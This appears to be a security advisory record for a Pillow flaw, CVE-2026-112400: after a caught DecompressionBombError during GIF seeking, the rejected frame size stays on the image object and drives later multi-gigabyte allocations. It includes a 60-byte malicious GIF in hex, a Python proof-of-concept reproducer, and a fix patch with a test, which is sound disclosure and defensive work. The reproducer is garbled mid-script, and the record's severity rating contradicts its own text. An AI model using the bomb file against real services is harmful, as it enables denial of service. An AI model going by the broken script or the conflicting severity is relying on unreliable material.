--- id: CVE-2026-112400 aliases: - GHSA-65qm-jvmh-6pqg - BIT-pillow-2026-112400 title: >- Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS summary: >- Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS severity: high cvss: 7.5 cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H' vendor: pillow product: pillow ecosystem: pip affected: - 'pillow >= 9.2.0, < 13.0.0' patched: - pillow 13.0.0 published: '2026-10-20' updated: '2026-10-26' sourceUpdated: '2026-10-26T08:55:49.781288748Z' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-65qm-jvmh-6pqg' references: - url: >- https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112400' - url: >- https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7 - url: 'https://github.com/python-pillow/Pillow' - url: 'https://github.com/python-pillow/Pillow/releases/tag/13.0.0' - url: >- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112400.json - url: 'https://access.redhat.com/security/cve/CVE-2026-112400' - url: 'https://bugzilla.redhat.com/show_bug.cgi?id=2555864' - url: 'https://www.cve.org/CVERecord?id=CVE-2026-112400' - url: 'https://github.com/advisories/GHSA-65qm-jvmh-6pqg' tags: - osv - pip - csaf - vex - red-hat - ghsa - cve.org - exploit-available epss: 0.00512 epssPercentile: 0.43446 exploitAvailable: true ssvc: exploitation: poc automatable: 'yes' technicalImpact: partial timestamp: '2026-10-20T14:59:28.532487Z' cvssSource: vendor cwe: - CWE-770 - CWE-400 scores: vendor: 7.5 cna: 8.7 ingestedAt: '2026-10-19T21:43:56.128Z' --- ## Overview ``` ============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption. The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070. In the attached reproducer, the rejected size is 40000×40000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new("RGB", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size. The default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order. ## Details `GifImageFile._seek()` lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only *after* storing it on the object: ```python # src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image._decompression_bomb_check(self._size) # ...then validated ``` `_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises `DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS` (178 956 970 px by default), but by then `self._size` already holds the rejected value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the application still holds therefore reports `im.size == (40000, 40000)` while `im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (`GifImagePlugin.py:383` and `:407`), which call `_decompression_bomb_check(dispose_size)` *before* the corresponding `Image.core.fill()`, and `TiffImagePlugin.load_prepare()` (`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before allocating from it. With this 60-byte GIF (hex) ``` 47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer ``` `Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises `DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels`, and afterwards `im.size == (40000, 40000)`, `im.im.size == (1, 1)`, `im.tell() == 0`. What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from `im.size` rather than from the C buffer: - Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()` then runs `GifImageFile.load_prepare()`: ```python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill("P", self.size, self._frame_transparency or 0) ``` which allocates and `memset`s a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the common flatten-onto-background idiom `Image.new("RGB", im.size, bg)`, allocate from `im.size` as well (measured on an object poisoned to 20000×20000: `rotate(45, expand=True)` completes and touches 776 MiB; `Image.new("RGB", im.size, "white")` touches 1.5 GiB). Operations that pass `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`) fail with `ValueError`/`SystemError` instead. The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold. `n_frames` / `is_animated` are not affected: they call `_seek(frame, update_image=False)`, which skips the `_size` assignment (the file above reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at 1×1). ## Impact A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from `seek()` — a broad `except Exception` around a `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit `except DecompressionBombError: log and continue` — and then keeps using the same `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: `MemoryError` after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The `MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected dimensions out of the object it is guarding. The precondition is real application behaviour but not the default path: `Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates the error out of the `for` statement (a `try` inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in `c9f1b35e9810` ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late. ## Reproducing `repro` is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM. 1. **`setup_env()`** caps the process address space at 3 GiB with `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by `bomb_gif()`. The GIF contains a 1×1 screen and a 1×1 frame 0, so `Image.open()` passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it. 2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way an application that skips bad frames would. 3. **First check: the state is inconsistent.** The script prints `im.size` next to the real pixel buffer `im.im.size`. If the rejected frame had left the object unchanged, both would be `(1, 1)`. On the affected code `im.size` is `(40000, 40000)`. 4. **Second check: memory use.** The script retries `im.seek(1)`, which now parses the trailing 1×1 frame, and calls `im.load()`. It prints the process's peak RSS before and after. `load_prepare()` sizes its `Image.core.fill()` from `im.size`, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation. Expected output on the affected tree: ``` open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG ``` The script prints `BUG` only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints `OK`. With the attached patch applied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the last line is `OK`. ## Suggested fix The attached patch validates before mutating in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a local, passed to `_decompression_bomb_check()`, and only then assigned to `self._size`, matching the order of the two `dispose_size` checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point: ```diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` `n_frames` / `is_animated` go through `update_image=False` and are unaffected. The patch also extends `test_exception_gif_extents` in `Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after the `DecompressionBombError`. It does not change `seek()` itself; optionally, `seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek to `last_frame`, so that a retried `seek()` does not resume parsing from the middle of the rejected frame. ## The patch GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py index 98d833736..83cc785fc 100644 --- a/Tests/test_decompression_bomb.py +++ b/Tests/test_decompression_bomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` ## The reproducer
Reproducer — repro, 2,474 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # GifImageFile._seek() stores a frame's enlarged size in self._size and only # *then* runs the decompression-bomb check. The check raises, but the object # keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the # next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct from PIL import Image BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 * Image.MAX_IMAGE_PIXELS def frame_1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b"," + struct.pack(" LIMIT and im.im.size == (1, 1) # Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its # buffers from the poisoned im.size. before = peak_rss_mib() im.seek(1) try: im.load() outcome = "completed" except MemoryError: outcome = "MemoryError at the 3 GiB cap" after = peak_rss_mib() print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB") ballooned = after - before > 1000 print("BUG" if poisoned and ballooned else "OK") ```
--- ## Affected packages - `pillow >= 9.2.0, < 13.0.0` ## Remediation Upgrade to a patched release: - `pillow 13.0.0` ## Vendor advisories - **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112400.json)